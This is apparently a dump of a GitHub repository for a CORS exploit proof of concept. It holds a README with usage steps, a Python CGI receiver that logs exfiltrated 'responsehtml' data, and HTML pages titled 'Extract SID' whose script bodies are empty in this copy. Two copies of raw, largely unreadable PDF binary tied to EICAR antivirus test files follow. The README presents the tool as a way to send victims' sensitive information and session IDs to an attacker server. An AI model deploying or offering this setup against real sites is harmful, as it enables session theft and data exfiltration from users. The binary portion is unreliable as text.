├── bin └── datafetch.py ├── cors.html ├── OLD_script.html ├── README.md ├── CORS_POC.html ├── new.pdf └── pdf content /bin/datafetch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import cgi 3 | import sys 4 | import urllib.parse 5 | 6 | postform = cgi.FieldStorage() 7 | postdata = urllib.parse.unquote(postform['responsehtml'].value).replace('\\r\\n', '\r\n').replace('\\t', '\t') 8 | sys.stderr.write(postdata) 9 | 10 | -------------------------------------------------------------------------------- /cors.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 21 | 22 | 23 |
24 |

Exploiting CORS Vulnerability

25 |

Extract SID

26 | 27 |
28 | 29 | 30 | -------------------------------------------------------------------------------- /OLD_script.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 21 | 22 | 23 |
24 |

Exploiting CORS Vulnerability

25 |

Extract SID

26 | 27 |
28 | 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CORS Exploit Script 2 | > If the victim application is vulnerable to CORS exploit, using this exploit script we were able send sensitive imformation to the attacker server. 3 | 4 | ## Usage 5 | * `git clone https://github.com/topavankumarj/CORS-Exploit-Script` 6 | 7 | * Edit `CORS_POC.html` and change the `victim_URL` value and `attacker_URL` value. 8 | 9 | * Now up the python server using the below command 10 | 11 | ``` 12 | python3 -m http.server --cgi 5555` 13 | ``` 14 | 15 | * Run the ngrock ( optional) 16 | ``` 17 | ./ngrock http 5555` 18 | ``` 19 | 20 | * Now open the `CORS_POC.html` from the victim browser. 21 | 22 | If the applicaiton in vulnerable and everything goes well, the exploit script will sends sensitive information to the attacker server. 23 | 24 | -------------------------------------------------------------------------------- /CORS_POC.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | CORS Exploit POC 4 | 5 | 6 |

CORS Exploit POC

7 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /new.pdf: -------------------------------------------------------------------------------- 1 | %PDF-1.6 2 | %âãÏÓ 3 | 14 0 obj 4 | <> 5 | endobj 6 | 7 | 18 0 obj 8 | <>/Filter/FlateDecode/ID[<8F6B25D93426B14794A2324224EFC8BE>]/Index[14 9]/Info 13 0 R/Length 45/Prev 6149/Root 15 0 R/Size 23/Type/XRef/W[1 2 1]>>stream 9 | hÞbbd``b` 10 |  E@‚±Hü•g`bd˜ c`„ÿ×þ0W9Ó 11 | endstream 12 | endobj 13 | startxref 14 | 0 15 | %%EOF 16 | 17 | 22 0 obj 18 | <>stream 19 | hÞb```" `.gÀ, H<&(f`¨gàbPŸb120°ù@h†Ûyvu0Ÿ ˆ9z€|V±7uŒÿ™ 20 | endstream 21 | endobj 22 | 15 0 obj 23 | <> 24 | endobj 25 | 16 0 obj 26 | <>/Rotate 0/Type/Page>> 27 | endobj 28 | 17 0 obj 29 | <>stream 30 | hÞ´UÁrÚ0íÕþaË!5J€´I“€gHIfšC›)i/Q²-@<’pÊ4ü{W2vLšÒNg0’wßî[­öAïºÐï»}è÷àè {g‹˜¥)KϹ`z=D|Ý» 9$šgÖÁÑEýLÌ\‡£ñéÙñ±Ã¬¥É|Á¤5Õ"£–Ç\p»zÕêû<7>ìbæTCC YÖÉ9»cú;ӆ+yB$Ÿ sÀ!iù‹ÈÀ¡%¢»è 31 | ¼Ûιé¤ÔÒ/ñ–X¯‡ —B¸ˆ pØÇˆŽ`rfçU†¢!¼‡pTn#!Â"qCÂZ]Ts<‡ÂœChž#GîïáYâí'ÙÄB\)®úZÅì§eZRAE¡KCӖ„Í+D@ª’¥ëÌ©)¶èCO;p¥À±âé¶mHOn½yBsñÒZ¬È*0î•B¢²¨©G”mP“ÞäÝ\Â(U1ƒQ¢ULÑOe 32 | KÃ<ÄÝ/6h\x©1Z[ŽCA940ƎCy)ˆ[všmØoC—´\ë& Õ4^~öoÿVˆkÆS½Û.p«†ä ’ÃGWêo¼[ܤ·ƒš•Ó'—‹K:cÆ<0+™Œ¤Tv’PIB7…cª´£ÂÐÌÏ8.—ÅOäÐ[vw³ÍÀ<žˆºd¦$›1ë³feæ¢Ì 33 | nK!U¢;/Ø9²!¥dž—aU\=÷5¿éØUÆJÔ~šUàC¤×g4N*C¬½­^כÍf-ÿ½®õ>Úný"Û0ÿÅ‚º 34 | _Î|¸·Z•=–Üq™ª»7r7¢ `P\BÄT“†×W2WÊl¦zôÜXV þ^7•`¢?È^ øà§µ7©ý1DÑo.­ù 35 | endstream 36 | endobj 37 | 1 0 obj 38 | <>stream 39 | hÞ2W0P°P0±TB#}çüÒ¼C}·Ì¢â ”B¾O"œRYªï_Z’“™—ZlgÔàÔ 40 | ’ H,Jê4‡(Ë,ÉIÕpÊIÌËVHLOÕ+u‰64KGDFis y¥99±úÁúîù!ùvv©ø'@ 41 | endstream 42 | endobj 43 | 2 0 obj 44 | <>/Subtype/text#2Fplain>>stream 45 | H‰Š0õW Pup ˆ6‰ ˆŠ05шÓ4wvÖ4¯Uqõtv Ò 46 | qôsq rÑuô ñ ó 47 | 48 | Ö 49 | q 50 | ÑuóôqUTñÐöÐ0tT 51 | endstream 52 | endobj 53 | 3 0 obj 54 | <>stream 55 | 56 | 57 | 58 | 63 | 2017-06-08T19:25:12+02:00 64 | 2017-06-08T16:13:47+02:00 65 | 2017-06-08T19:25:12+02:00 66 | Adobe Acrobat Pro DC 17.9.20044 67 | application/pdf 68 | 69 | 70 | https://github.com/mattias-ohlsson/eicar-standard-antivirus-test-files 71 | 72 | 73 | uuid:980cd7d4-c868-4864-873f-e3280a1203b5 74 | uuid:6678e25e-651a-4ee0-bf3b-eecca500ebcf 75 | Adobe Acrobat Pro DC 17.9.20044 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | endstream 103 | endobj 104 | 4 0 obj 105 | <>stream 106 | hÞ\1 Â0„ßOyc³ô5ŠCÉ¢fDD§âP҇š¤êŸWcÝî»;Ya…Râ¦AYã¶Æ¶¥O.¢¤ã8„N6¸Üéúœ™ÎýƒƒR™9õ–CW¼Þ0€ ,08ˆPf-EžûWzÏÁ‚:{k ébð&Yv±ŒK¿ =Nf6tû‹•ú0Õ11 107 | endstream 108 | endobj 109 | 5 0 obj 110 | <>stream 111 | hތÌÁjÂ@€áWٛ ²ÙÙ55*"ˆ¹•B¡O0ٝ6+š‘‰Ò·o¡ÐCO½ÿÿçWÌ~ïN…P3O=*Uý.€ï` 112 | ¿ö«¶[BX,ꟊKuL<9ÆÂªy-lú“ñ]³m@ÛÖî™>\’Tµ{áô݆'~Ñï=͑þ¡¾ÍÙ¢V£êMvÎ}d硉|uWTÍ(–Ç‹OŽrÄbEqJX’ÅIó=—Y¬’¨}Ï’úpø`˜Mî 113 | endstream 114 | endobj 115 | 6 0 obj 116 | <>/Filter/FlateDecode/ID[<8F6B25D93426B14794A2324224EFC8BE>]/Info 13 0 R/Length 52/Root 15 0 R/Size 14/Type/XRef/W[1 2 1]>>stream 117 | hÞbb&F6_&ÆÛ BHðn±> &  ì‹?@#Œ`þ‡Âeü`î!$ 118 | endstream 119 | endobj 120 | startxref 121 | 116 122 | %%EOF 123 | -------------------------------------------------------------------------------- /pdf content: -------------------------------------------------------------------------------- 1 | %PDF-1.6 2 | %âãÏÓ 3 | 14 0 obj 4 | <> 5 | endobj 6 | 7 | 18 0 obj 8 | <>/Filter/FlateDecode/ID[<8F6B25D93426B14794A2324224EFC8BE>]/Index[14 9]/Info 13 0 R/Length 45/Prev 6149/Root 15 0 R/Size 23/Type/XRef/W[1 2 1]>>stream 9 | hÞbbd``b` 10 |  E@‚±Hü•g`bd˜ c`„ÿ×þ0W9Ó 11 | endstream 12 | endobj 13 | startxref 14 | 0 15 | %%EOF 16 | 17 | 22 0 obj 18 | <>stream 19 | hÞb```" `.gÀ, H<&(f`¨gàbPŸb120°ù@h†Ûyvu0Ÿ ˆ9z€|V±7uŒÿ™ 20 | endstream 21 | endobj 22 | 15 0 obj 23 | <> 24 | endobj 25 | 16 0 obj 26 | <>/Rotate 0/Type/Page>> 27 | endobj 28 | 17 0 obj 29 | <>stream 30 | hÞ´UÁrÚ0íÕþaË!5J€´I“€gHIfšC›)i/Q²-@<’pÊ4ü{W2vLšÒNg0’wßî[­öAïºÐï»}è÷àè {g‹˜¥)KϹ`z=D|Ý» 9$šgÖÁÑEýLÌ\‡£ñéÙñ±Ã¬¥É|Á¤5Õ"£–Ç\p»zÕêû<7>ìbæTCC YÖÉ9»cú;ӆ+yB$Ÿ sÀ!iù‹ÈÀ¡%¢»è 31 | ¼Ûιé¤ÔÒ/ñ–X¯‡ —B¸ˆ pØÇˆŽ`rfçU†¢!¼‡pTn#!Â"qCÂZ]Ts<‡ÂœChž#GîïáYâí'ÙÄB\)®úZÅì§eZRAE¡KCӖ„Í+D@ª’¥ëÌ©)¶èCO;p¥À±âé¶mHOn½yBsñÒZ¬È*0î•B¢²¨©G”mP“ÞäÝ\Â(U1ƒQ¢ULÑOe 32 | KÃ<ÄÝ/6h\x©1Z[ŽCA940ƎCy)ˆ[všmØoC—´\ë& Õ4^~öoÿVˆkÆS½Û.p«†ä ’ÃGWêo¼[ܤ·ƒš•Ó'—‹K:cÆ<0+™Œ¤Tv’PIB7…cª´£ÂÐÌÏ8.—ÅOäÐ[vw³ÍÀ<žˆºd¦$›1ë³feæ¢Ì 33 | nK!U¢;/Ø9²!¥dž—aU\=÷5¿éØUÆJÔ~šUàC¤×g4N*C¬½­^כÍf-ÿ½®õ>Úný"Û0ÿÅ‚º 34 | _Î|¸·Z•=–Üq™ª»7r7¢ `P\BÄT“†×W2WÊl¦zôÜXV þ^7•`¢?È^ øà§µ7©ý1DÑo.­ù 35 | endstream 36 | endobj 37 | 1 0 obj 38 | <>stream 39 | hÞ2W0P°P0±TB#}çüÒ¼C}·Ì¢â ”B¾O"œRYªï_Z’“™—ZlgÔàÔ 40 | ’ H,Jê4‡(Ë,ÉIÕpÊIÌËVHLOÕ+u‰64KGDFis y¥99±úÁúîù!ùvv©ø'@ 41 | endstream 42 | endobj 43 | 2 0 obj 44 | <>/Subtype/text#2Fplain>>stream 45 | H‰Š0õW Pup ˆ6‰ ˆŠ05шÓ4wvÖ4¯Uqõtv Ò 46 | qôsq rÑuô ñ ó 47 | 48 | Ö 49 | q 50 | ÑuóôqUTñÐöÐ0tT 51 | endstream 52 | endobj 53 | 3 0 obj 54 | <>stream 55 | 56 | 57 | 58 | 63 | 2017-06-08T19:25:12+02:00 64 | 2017-06-08T16:13:47+02:00 65 | 2017-06-08T19:25:12+02:00 66 | Adobe Acrobat Pro DC 17.9.20044 67 | application/pdf 68 | 69 | 70 | https://github.com/mattias-ohlsson/eicar-standard-antivirus-test-files 71 | 72 | 73 | uuid:980cd7d4-c868-4864-873f-e3280a1203b5 74 | uuid:6678e25e-651a-4ee0-bf3b-eecca500ebcf 75 | Adobe Acrobat Pro DC 17.9.20044 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | endstream 103 | endobj 104 | 4 0 obj 105 | <>stream 106 | hÞ\1 Â0„ßOyc³ô5ŠCÉ¢fDD§âP҇š¤êŸWcÝî»;Ya…Râ¦AYã¶Æ¶¥O.¢¤ã8„N6¸Üéúœ™ÎýƒƒR™9õ–CW¼Þ0€ ,08ˆPf-EžûWzÏÁ‚:{k ébð&Yv±ŒK¿ =Nf6tû‹•ú0Õ11 107 | endstream 108 | endobj 109 | 5 0 obj 110 | <>stream 111 | hތÌÁjÂ@€áWٛ ²ÙÙ55*"ˆ¹•B¡O0ٝ6+š‘‰Ò·o¡ÐCO½ÿÿçWÌ~ïN…P3O=*Uý.€ï` 112 | ¿ö«¶[BX,ꟊKuL<9ÆÂªy-lú“ñ]³m@ÛÖî™>\’Tµ{áô݆'~Ñï=͑þ¡¾ÍÙ¢V£êMvÎ}d硉|uWTÍ(–Ç‹OŽrÄbEqJX’ÅIó=—Y¬’¨}Ï’úpø`˜Mî 113 | endstream 114 | endobj 115 | 6 0 obj 116 | <>/Filter/FlateDecode/ID[<8F6B25D93426B14794A2324224EFC8BE>]/Info 13 0 R/Length 52/Root 15 0 R/Size 14/Type/XRef/W[1 2 1]>>stream 117 | hÞbb&F6_&ÆÛ BHðn±> &  ì‹?@#Œ`þ‡Âeü`î!$ 118 | endstream 119 | endobj 120 | startxref 121 | 116 122 | %%EOF 123 | --------------------------------------------------------------------------------